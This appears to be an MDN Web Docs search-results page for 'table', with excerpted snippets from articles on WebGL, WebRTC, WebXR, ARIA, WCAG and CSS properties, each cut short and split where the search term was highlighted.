table for encryption or wrapping. typeerror raised when trying to use an invalid format. supported algorithms all algorithms that are usable for encryption are also usable for key wrapping, as long as the key has the "wrapkey" usage set. for key wrapping you have the additional option of aes-kw. aes-kw aes-kw is a way to use the aes cipher for key wrapping. one advantage of using aes-kw over an...
Creating 3D objects using WebGL - Web APIs
consider: each face requires four vertices to define it, but each vertex is shared by three faces. ...
... consider: each face requires four vertices to define it, but each vertex is shared by three faces. ...
...f the vertices. const facecolors = [ [1.0, 1.0, 1.0, 1.0], // front face: white [1.0, 0.0, 0.0, 1.0], // back face: red [0.0, 1.0, 0.0, 1.0], // top face: green [0.0, 0.0, 1.0, 1.0], // bottom face: blue [1.0, 1.0, 0.0, 1.0], // right face: yellow [1.0, 0.0, 1.0, 1.0], // left face: purple ]; // convert the array of colors into a
table for all the vertices. var colors = []; for (var j = 0; j < facecolors.length; ++j) { const c = facecolors[j]; // repeat each color four times for the four vertices of the face colors = colors.concat(c, c, c, c); } const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer, new float32array(colors), gl.static_draw);...
WebRTC connectivity - Web APIs
ion if there's a pending description (that is, the pending description isn't null); otherwise, the current description (currentlocaldescription/currentremotedescription) is returned. when changing the description by calling setlocaldescription() or setremotedescription(), the specified description is set as the pending description, and the webrtc layer begins to evaluate whether or not it's accep
table. once the proposed description has been agreed upon, the value of currentlocaldescription or currentremotedescription is changed to the pending description, and the pending description is set to null again, indicating that there isn't a pending description. the pendinglocaldescription contains not just the offer or answer under consideration, but any local ice candidates which have already been...
...est candidates first, making their way down the line toward their worse candidates. ideally, candidates are udp (since it's faster, and media streams are able to recover from interruptions relatively easily), but the ice standard does allow tcp candidates as well. generally, ice candidates using tcp are only going to be used when udp is not available or is restricted in ways that make it not sui
table for media streaming. not all browsers support ice over tcp, however. ice allows candidates to represent connections over either tcp or udp, with udp generally being preferred (and being more widely supported). each protocol supports a few types of candidate, with the candidate types defining how the data makes its way from peer to peer. udp candidate types udp candidates (candidates with thei...
...u were most likely just trying to upgrade or downgrade the connection, or to otherwise make adaptations to an ongoing session. aborting the call would be an excessive reaction in that situation. instead, you can initiate an ice rollback. a rollback restores the sdp offer (and the connection configuration by extension) to the configuration it had the last time the connection's signalingstate was s
table. to programmatically initiate a rollback, send a description whose type is rollback. any other properties in the description object are ignored. in addition, the ice agent will automatically initiate a rollback when a peer that had previously created an offer receives an offer from the remote peer. in other words, if the local peer is in the state have-local-offer, indicating that the local pee...
Geometry and reference spaces in WebXR - Web APIs
gardless of the type of reference space you choose, its type is xrreferencespace or is a type derived from xrreferencespace. the currently available reference space types, which are defined by the xrreferencespacetype enumeration, are shown below. the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the
table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except t...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
...fying the standard reference spaces. using these, you can ensure before your code even runs that you have access to a webxr session that can support the reference space type you require or prefer. note: at this time, the reference space to use or to prefer is the only option available when creating an xrsession. in the future, it's likely that more options will become available. <<<--- insert
table of reference space requirements here --->>> positioning and orienting objects all spatial (position, orientation, and movement) information exchanged between your app and the webxr api is expressed in relation to a specific space at the time the frame is being rendered. any further position and orientation management is between you and webgl, though you do make use of the origin offset from the...
Movement, orientation, and motion: A WebXR example - Web APIs
held down, and clicking using the right mouse button triggers the context menu, we add a handler for the contextmenu event to the canvas to prevent the context menu fom appearing when the user initially begins their drag of the mouse. next, we compile the shader programs; get references to its variables; initialize the buffers that store the array of each position; the indexes into the position
table for each vertex; the vertex normals; and the texture coordinates for each vertex. this is all taken directly from the webgl sample code, so refer to lighting in webgl and its preceding articles creating 3d objects using webgl and using textures in webgl. then our loadtexture() function is called to load the texture file. now that the rendering structures and data are loaded, we start preparing t...
...ction uses mathml to render the matrix, falling back to a more array-like format if mathml isn't supported by the user's browser. ...
...each entry is displayed with up to two decimal places. ...
Keyframe Formats - Web APIs
ty: [ 0, 1 ], // offset: 0, 1 backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values. element.animate({ opacity: [ 0, 0.9, 1 ], offset: [ 0, 0.8 ], // shorthand for [ 0, 0.8, 1 ] easing: [ 'ease-in', 'ease-out' ], }, 2000); after generating a sui
table set of keyframes from the property value lists, each supplied offset is applied to the corresponding keyframe. if there are insufficient values, or if the list contains null values, the keyframes without specified offsets will be evenly spaced as with the array format described above. if there are too few easing or composite values, the corresponding list will be repeated as needed. implic...
...ingle keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginning state is implied. attributes keyframes may specify property-value pairs for any of the anima
table css properties. the property names are specified using camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx. shorthand values such as margin are also permitted. two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript. it's just for reference here, this will h...
...camel-case so for example background-color becomes backgroundcolor and background-position-x becomes backgroundpositionx. shorthand values such as margin are also permitted. two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript. it's just for reference here, this will have no effect on animation since "float" is not an anima
table css property. offset, which must be written as cssoffset since "offset" represents the keyframe offset as described below. the following special attributes may also be specified: offset the offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes. if this va...
XRReferenceSpace - Web APIs
ice, or if the device automatically adjusts its origin after losing and regaining tracking. in addition to using addeventlistener(), you can establish a reset event handler by setting the onreset event handler property. reference space types the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the
table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except t...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
...mouse, touchpad, or game controls that are not connected through the xr device. since the origin will typically be the user's location in the space, you need to change the origin to reflect their movement and any orientation changes they make. to move or rotate the user's view of the world, you need to change the xrreferencespace used to represent that viewpoint. however, xrreferencespace is immu
table, so you need to instead create a new reference space representing the changed viewpoint. this is easily done using the getoffsetreferencespace() method. let offsettransform = new xrrigidtransform({x: 2, y: 0, z: 1}, {x: 0, y: 1, z: 0, w: 1}); xrreferencespace = xrreferencespace.getoffsetreferencespace(offsettransform); this replaces the xrreferencespac...
ARIA annotations - Accessibility
an editorial comment related to a part of a document under review). below we'll introduce the new features associated with aria annotations, and have a look at some code examples that show them in action. ...
...t to the html <ins> and <del> elements. note that these aren’t part of the new aria annotations features, but they are of central relevance. role="mark" — semantically denotes html elements containing text that is marked/highlighted for reference purposes. this is semantically equivalent to the html <mark> element. role="suggestion" — semantically denotes a single proposed change to an edi
table document. this should be used on an element that wraps a single insertion and deletion (see role="insertion" and role="deletion" above). role="comment" — semantically denotes a comment/reaction to some content on the page, or to a previous comment. to provide a semantic association between the document content being annotated and the annotation, an aria-details attribute can be set on the an...
...">i really think this could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> we’ve used role="comment" to mark this up as a comment. to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment. ...
Understandable - Accessibility
and the operation of user interface must be understandable. guideline 3.1 — readable: make text content readable and understandable this guideline focuses on making text content as understandable as possible. success criteria how to conform to the criteria practical resource 3.1.1 language of page (a) the default human language of each web page should be detec
table via code. this is essential for purposes like making sure the reader has arrived at a page written in a language sui
table for them. the simplest way to achieve this is to set the lang attribute on the page's <html> element, giving it a value equal to the language code that best represents the language the page is written in. see setting the primary language of the document. 3.1.2 lang...
...g the correct pronounciation, and it also makes sense to include a textual pronounciation guide after difficult words, in the same way that you find in dictionary entries. see video and audio content, and pronunciation guide for english dictionary note: also see the wcag description for guideline 3.1 readable: make text content readable and understandable. guideline 3.2 — predic
table: make web pages appear and operate in predic
table ways this guideline focuses on making user interfaces intuitive and understandable. success criteria how to conform to the criteria practical resource 3.2.1 on focus (a) when a control or other page feature receives focus, it should not change the context in a way that may confuse or disorientate the user. ...
...g. content or controls), let the user control when they want that change to occur (e.g. what page to show, when to advance to the next photo in the gallery...) if you need to have something like a carousel on a page, provide an option to stop it automatically advancing. better to avoid such functionality if possible. note: also see the wcag description for guideline 3.2 predic
table: make web pages appear and operate in predic
table ways. guideline 3.3 — input assistance: help users avoid and correct mistakes this guideline centers around helping users enter correct information when required with the minimum of mistakes. success criteria how to conform to the criteria practical resource 3.3.1 error identification (a) when a user is fi...
:checked - CSS: Cascading Style Sheets
"]:checked { box-shadow: 0 0 0 3px hotpink; } /* option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } result toggling elements with a hidden checkbox this example utilizes the :checked pseudo-class to let the user toggle content based on the state of a checkbox, all without using javascript. ...
...t]</td><td>[more text]</td><td>[more text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </
table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expandable { visibility: collapse; background: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px; background-color: #ff7; border: 1px solid; ...
...ed' in that specification. recommendation defines the semantic regarding html. selectors level 4the definition of ':checked' in that specification. working draft no change. selectors level 3the definition of ':checked' in that specification. recommendation defines the pseudo-class, but not the associated semantic browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:checkedchrome full support ...
@supports - CSS: Cascading Style Sheets
top level. to combine it with other operators, like and and or, the parentheses are required. the and operator the and operator creates a new expression from the conjunction of two shorter expressions. it returns true only if both of the shorter expressions are also true. ...
...n of two shorter expressions. it returns true only if both of the shorter expressions are also true. the following example returns true if and only if the two shorter expressions are simultaneously true: @supports (display:
table-cell) and (display: list-item) {} multiple conjunctions can be juxtaposed without the need of more parentheses. the following are both equivalent: @supports (display:
table-cell) and (display: list-item) and (display:run-in) {} @supports (display:
table-cell) and ((display: list-item) and (display:run-in)) {} the or operator the or operator creates a new expression from the disjunction of two shorter expressions. it returns true if one or both of the shorter expressions is also true. the following example returns true if at least one of the two shorter expressions...
...ions specification status comment css conditional rules module level 4the definition of '@supports' in that specification. editor's draft adds the selector() function. css conditional rules module level 3the definition of '@supports' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@supportschrome full support ...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
those of us who have been doing web development for more years than we care to remember might consider that css grid is a little bit like using “
tables for layout”. back in the early days of web design, the way we constructed page layout was to use html
tables, then fragment our design into the cells of those
tables in order to create a layout. this had some advantages over the “css positioning” that came afterwards, in that we could take advantage of the alignment and full height columns offered by
table display. ...
... in moving to css we often spoke about css for layout enabling a separation of content and markup and presentation. the ultimate aim being that we could create a semantic and well structured document, then apply css to create the layout we desired. ...
...enabling a separation of content and markup and presentation. the ultimate aim being that we could create a semantic and well structured document, then apply css to create the layout we desired. sites such as the css zen garden showcased this ability. the css zen garden challenged us to take identical markup and create a unique design using css. css grid layout does not have the same issues that
tables did, our grid structure is defined in css rather than in the mark-up. if we need to add an element we can use something with no semantic meaning. on paper grid helps us properly fulfill that promise of content separated from mark-up, however is it possible to go too far with this idea? is it possible that we could create an accessibility issue through our use of grids? re-ordering content in cs...
Using CSS transforms - CSS: Cascading Style Sheets
on. the farther from the viewer the elements are, the smaller they are. setting perspective this example shows a cube with the perspective set at different positions. how quick the cube shrinks is defined by the perspective property. the smaller its value is, the deeper the perspective is. html the html below creates four copies of the same box, with the perspective set at different values. ...
...it also includes classes for the container box and the cube itself, as well as each of its faces. /* shorthand classes for different perspective values */ .pers250 { perspective: 250px; } .pers350 { perspective: 350px; } .pers500 { perspective: 500px; } .pers650 { perspective: 650px; } ...
...by default the perspective is centered on the viewer, which is not always adequate. changing the perspective origin this example shows cubes with popular perspe...
Column combinator - CSS: Cascading Style Sheets
the column combinator (||) is placed between two css selectors. it matches only those elements matched by the second selector that belong to the column elements matched by the first. ...
... the column combinator (||) is placed between two css selectors. it matches only those elements matched by the second selector that belong to the column elements matched by the first. ...
... working draft initial definition. ...
Using media queries - CSS: Cascading Style Sheets
sheet with a media query attached to its <link> tag will still download even if the query returns false. nevertheless, its contents will not apply unless and until the result of the query changes to true. media types media types describe the general category of a device. except when using the not or only logical operators, the media type is optional and the all type will be implied. all sui
table for all devices. print intended for paged material and documents viewed on a screen in print preview mode. (please see paged media for information about formatting issues that are specific to these formats.) screen intended primarily for screens. speech intended for speech synthesizers. deprecated media types: css2.1 and media queries 3 defined several additional media types (tty, tv, pro...
... aspect-ratio width-to-height aspect ratio of the viewport color number of bits per color component of the output device, or zero if the device isn't color color-gamut approximate range of colors that are supported by the user agent and output device added in media queries level 4. color-index number of entries in the output device's color lookup
table, or zero if the device does not use such a
table device-aspect-ratio width-to-height aspect ratio of the output device deprecated in media queries level 4. device-height height of the rendering surface of the output device deprecated in media queries level 4. device-width width of the rendering surface of the output device deprecated in media...
...es using features that have a "range" type, for example width or height, less verbose. level 4 adds a range context for writing such queries. for example, using the max- functionality for width we might write the following: note: the media queries level 4 specification has reasonable support in modern browsers, but some media features are not well supported. see the @media browser compatibility
table for more details. @media (max-width: 30em) { ... } in media queries level 4 this can be written as: @media (width <= 30em) { ... } using min- and max- we might test for a width between two values like so: @media (min-width: 30em) and (max-width: 50em) { ... } this would convert to the level 4 syntax as: @media (30em <= width <= 50em ) { ... } media queries level 4 also adds ways to comb...
Mozilla CSS extensions - CSS: Cascading Style Sheets
chrome-active -moz-mac-chrome-inactive -moz-mac-focusring -moz-mac-menuselect -moz-mac-menushadow -moz-mac-menutextselect -moz-menuhover -moz-menuhovertext -moz-win-communicationstext -moz-win-mediatext -moz-nativehyperlinktext display -moz-box -moz-inline-block -moz-inline-box -moz-inline-gridobsolete since gecko 62 -moz-inline-stackobsolete since gecko 62 -moz-inline-
table -moz-gridobsolete since gecko 62 -moz-grid-groupobsolete since gecko 62 -moz-grid-lineobsolete since gecko 62 -moz-groupbox -moz-deckobsolete since gecko 62 -moz-popupobsolete since gecko 62 -moz-stackobsolete since gecko 62 -moz-markerobsolete since gecko 62 empty-cells -moz-show-background (default value in quirks mode) font -moz-button -moz-info -moz-desktop -moz-di...
... ::-moz-anonymous-positioned-block :-moz-any :-moz-any-link [matches :link and :visited] :-moz-broken ::-moz-canvas ::-moz-color-swatch ::-moz-cell-content :-moz-drag-over f – i :-moz-first-node ::-moz-focus-inner ::-moz-focus-outer :-moz-focusring :-moz-full-screen :-moz-full-screen-ancestor :-moz-handler-blocked :-moz-handler-crashed :-moz-handler-disabled ::-moz-inline-
table l :-moz-last-node :-moz-list-bullet :-moz-list-number :-moz-loading :-moz-locale-dir(ltr) :-moz-locale-dir(rtl) :-moz-lwtheme :-moz-lwtheme-brighttext :-moz-lwtheme-darktext n – r :-moz-native-anonymous :-moz-only-whitespace ::-moz-page ::-moz-page-sequence ::-moz-pagebreak ::-moz-pagecontent :-moz-placeholderobsolete since gecko 51 ::-moz-placeholderdeprecated sinc...
...olete since gecko 51 ::-moz-placeholderdeprecated since gecko 51 ::-moz-progress-bar ::-moz-range-progress ::-moz-range-thumb ::-moz-range-track :-moz-read-only :-moz-read-write s ::-moz-scrolled-canvas ::-moz-scrolled-content ::-moz-scrolled-page-sequence ::-moz-selectiondeprecated since gecko 62 :-moz-submit-invalid :-moz-suppressed ::-moz-svg-foreign-content t ::-moz-
table ::-moz-
table-cell ::-moz-
table-column ::-moz-
table-column-group ::-moz-
table-outer ::-moz-
table-row ::-moz-
table-row-group :-moz-tree-cell :-moz-tree-cell-text :-moz-tree-cell-text(hover) :-moz-tree-checkbox :-moz-tree-column :-moz-tree-drop-feedback :-moz-tree-image :-moz-tree-indentation :-moz-tree-line :-moz-tree-progressmeter :-moz-tree-row :-moz-tree-row(hover) :-moz-tree-...
backface-visibility - CSS: Cascading Style Sheets
the back face is hidden, effectively making the element invisible when turned away from the user. formal definition initial valuevisibleapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax visible | hidden examples cube with transparent and opaque faces this example shows a cube with transparent faces, and one with opaque faces. ...
...v class="cube hidebf"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> <p> the three back faces (2, 4, 5) are hidden. ...
... editor's draft initial definition. ...
background-size - CSS: Cascading Style Sheets
sion, if there is one. if there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area. note: background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are accep
table. working with gradients if you use a <gradient> as the background and specify a background-size to go with it, it's best not to specify a size that uses a single auto component, or is specified using only a width value (for example, background-size: 50%). rendering of <gradient>s in such cases changed in firefox 8, and at present is generally inconsistent across browsers, which do not all impl...
...menting firefox 8's rendering, without knowing the exact size of the element whose background is being specified. formal definition initial valueauto autoapplies toall elements. it also applies to ::first-letter and ::first-line.inheritednopercentagesrelative to the background positioning areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typerepea
table list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples please see scaling background images for examples. specifications specification status comment css backgrounds and borders module level 3the definition of 'ba...
...r | containwhere <length-percentage> = <length> | <percentage> examples please see scaling background images for examples. specifications specification status comment css backgrounds and borders module level 3the definition of 'background-size' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-sizechrome full support ...
border-left-style - CSS: Cascading Style Sheets
ty is specified as a single keyword chosen from those available for the border-style property. formal definition initial valuenoneapplies toall elements. ...
...idge | inset | outset examples html <
table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </
table> css /* define look of the
table */
table { border-width: 2px; background-color: #52e385; } tr, td { padding: 3px; } /* border-left-style example classes */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {...
...s specification status comment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-left-style' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-left-stylechrome full support ...
border-right-style - CSS: Cascading Style Sheets
as a single keyword chosen from those available for the border-style property. formal definition initial valuenoneapplies toall elements. ...
...outset examples border styles html <
table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </
table> css /* define look of the
table */
table { border-width: 2px; background-color: #52e385; } tr, td { padding: 3px; } /* border-right-style example classes */ .b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove...
... specification status comment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification. candidate recommendation no significant change. css level 2 (revision 1)the definition of 'border-right-style' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-right-stylechrome full support ...
direction - CSS: Cascading Style Sheets
use rtl for languages written from right to left (like hebrew or arabic), and ltr for those written from left to right (like english and most other languages). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note that text direction is usually defined within a document (e.g., with html's dir attribute) rather than through direct use of the direction property. ...
...note that text direction is usually defined within a document (e.g., with html's dir attribute) rather than through direct use of the direction property. the property sets the base text direction of block-level elements and the direction of embeddings created by the unicode-bidi property. it also sets the default alignment of text, block-level elements, and the direction that cells flow within a
table row. unlike the dir attribute in html, the direction property is not inherited from
table columns into
table cells, since css inheritance follows the document tree, and
table cells are inside of rows but not inside of columns. the direction and unicode-bidi properties are the two only properties which are not affected by the all shorthand property. syntax /* keyword values */ direction: ltr; ...
...{ direction: rtl; } specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification. proposed recommendation no change. css level 2 (revision 1)the definition of 'direction' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome full support ...
font-stretch - CSS: Cascading Style Sheets
ine keyword values. css fonts level 4 extends the syntax to accept a <percentage> value as well. this enables variable fonts to offer something more like a continuum of character widths. for truetype or opentype variable fonts, the "wdth" variation is used to implement varying widths. ...
...ntax to accept a <percentage> value as well. this enables variable fonts to offer something more like a continuum of character widths. for truetype or opentype variable fonts, the "wdth" variation is used to implement varying widths. however, note that the <percentage> syntax is not yet supported by all browsers: check the browser compatibility
table for details. ...
...ing does not offer condensed or expanded faces, this property has no effect. font face selection the face selected for a given value of font-stretch depends on the faces supported by the font in question. if the font does not provide a face that exactly matches the given value, then values less than 100% map to a narrower face, and values greater than or equal to 100% map to a wider face. ...
justify-items - CSS: Cascading Style Sheets
/mdn/interactive-examples and send us a pull request. the effect of this property is dependent of the layout mode we are in: in block-level layouts, it aligns the items inside their containing block on the inline axis. for absolutely-positioned elements, it aligns the items inside their containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. ...
...e layout mode we are in: in block-level layouts, it aligns the items inside their containing block on the inline axis. for absolutely-positioned elements, it aligns the items inside their containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. ...
...box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keyword is dependent of the layout mode we are in: in block-level layouts, the keyword is a synonym of start. in absolutely-positioned layouts, the keyword behaved like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in
table cell layouts, this keyword has no meaning as this property is ignored. in flexbox layouts, this keyword has no meaning as this property is ignored. in grid layouts, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. start the item is packed flush to each other toward the start edge of t...
justify-self - CSS: Cascading Style Sheets
thub.com/mdn/interactive-examples and send us a pull request. the effect of this property is dependent of the layout mode we are in: in block-level layouts, it aligns an item inside its containing block on the inline axis. for absolutely-positioned elements, it aligns an item inside its containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. ...
...nt of the layout mode we are in: in block-level layouts, it aligns an item inside its containing block on the inline axis. for absolutely-positioned elements, it aligns an item inside its containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. ...
...box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keyword is dependent of the layout mode we are in: in block-level layouts, the keyword is a synonym of start. in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in
table cell layouts, this keyword has no meaning as this property is ignored. in flexbox layouts, this keyword has no meaning as this property is ignored. in grid layouts, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. start the item is packed flush to each other toward the start edge of t...
perspective - CSS: Cascading Style Sheets
thcreates stacking contextyes formal syntax none | <length> examples setting perspective this example shows a cube with the perspective set at different positions. how quick the cube shrinks is defined by the perspective property. the smaller its value is, the deeper the perspective is. html the html below creates four copies of the same box, with the perspective set at different values. ...
...it also includes classes for the container box and the cube itself, as well as each of its faces. /* shorthand classes for different perspective values */ .pers250 { perspective: 250px; } .pers350 { perspective: 350px; } .pers500 { perspective: 500px; } .pers650 { perspective: 650px; } ...
... editor's draft initial definition ...
text-align - CSS: Cascading Style Sheets
the text-align css property sets the horizontal alignment of a block element or
table-cell box. this means it works like vertical-align but in the horizontal direction. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... spaced to line up its left and right edges to the left and right edges of the line box, except for the last line. justify-all same as justify, but also forces the last line to be justified. match-parent similar to inherit, but the values start and end are calculated according to the parent's direction and are replaced by the appropriate left or right value. <string> when applied to a
table cell, specifies the alignment character around which the cell's contents will align. accessibility concerns the inconsistent spacing between words created by justified text can be problematic for people with cognitive concerns such as dyslexia. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | understanding wcag 2.0 formal definition initial valu...
Event reference
ssion is terminated due to preset time expiring. storage events change (see non-standard events) storage update events checking downloading error noupdate obsolete updateready value change events broadcast checkboxstatechange hashchange input radiostatechange readystatechange valuechange uncategorized events invalid message message open show less common and non-standard events abor
table fetch events event name fired when abort a dom request is aborted, i.e. using abortcontroller.abort(). svg events svgabort svgerror svgload svgresize svgscroll svgunload svgzoom database events abort blocked complete error success upgradeneeded versionchange script events afterscriptexecute beforescriptexecute menu events dommenuitemactive dommenuitemina...
...r events element receives pointer capture. hashchange hashchangeevent html5 the fragment identifier of the url has changed (the part of the url after the #). lostpointercapture pointerevent pointer events element lost pointer capture. input event html5 the value of an element changes or the content of an element with the attribute contentedi
table is modified. invalid event html5 a submit
table element has been checked and doesn't satisfy its constraints. keydown keyboardevent dom l3 a key is pressed down. keypress keyboardevent dom l3 a key is pressed down, and that key normally produces a character value (use input event instead). keyup keyboardevent dom l3 a key is...
...er was locked or released. pointerlockerror event pointer lock it was impossible to lock the pointer for technical reasons or because the permission was denied. pointermove pointerevent pointer events the pointer changed coordinates. pointerout pointerevent pointer events the pointing device moves out of the hit-testing boundary or leaves detec
table hover range. pointerover pointerevent pointer events the pointing device is moved into the hit-testing boundary. pointerup pointerevent pointer events the pointer leaves the active button state. play event html5 media playback has begun. playing event html5 media playback is ready to start after having been paused or delayed ...
Mobile Web Development - Developer guides
t write cross-browser code to create web sites that will work acceptably across different mobile browsers: try to avoid using browser-specific features, such as vendor-prefixed css properties. if you do need to use these features, check whether other browsers implement their own versions of these features, and target them too. for browsers that don't support these features, provide an accep
table fallback. for example, if you set a gradient as a background for some text using a vendor-prefixed property like -webkit-linear-gradient, it's best to include the other vendor-prefixed versions of the linear-gradient() property. if you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targe...
... best to include the other vendor-prefixed versions of the linear-gradient() property. if you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your linear-gradient rule. see this list of gecko-specific properties, and this list of webkit-specific properties, and peter beverloo's
table of vendor-specific properties. using tools like css lint can help find problems like this in code, and preprocessors like sass and less can help you to produce cross-browser code. take care with user agent sniffing it's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. but somet...
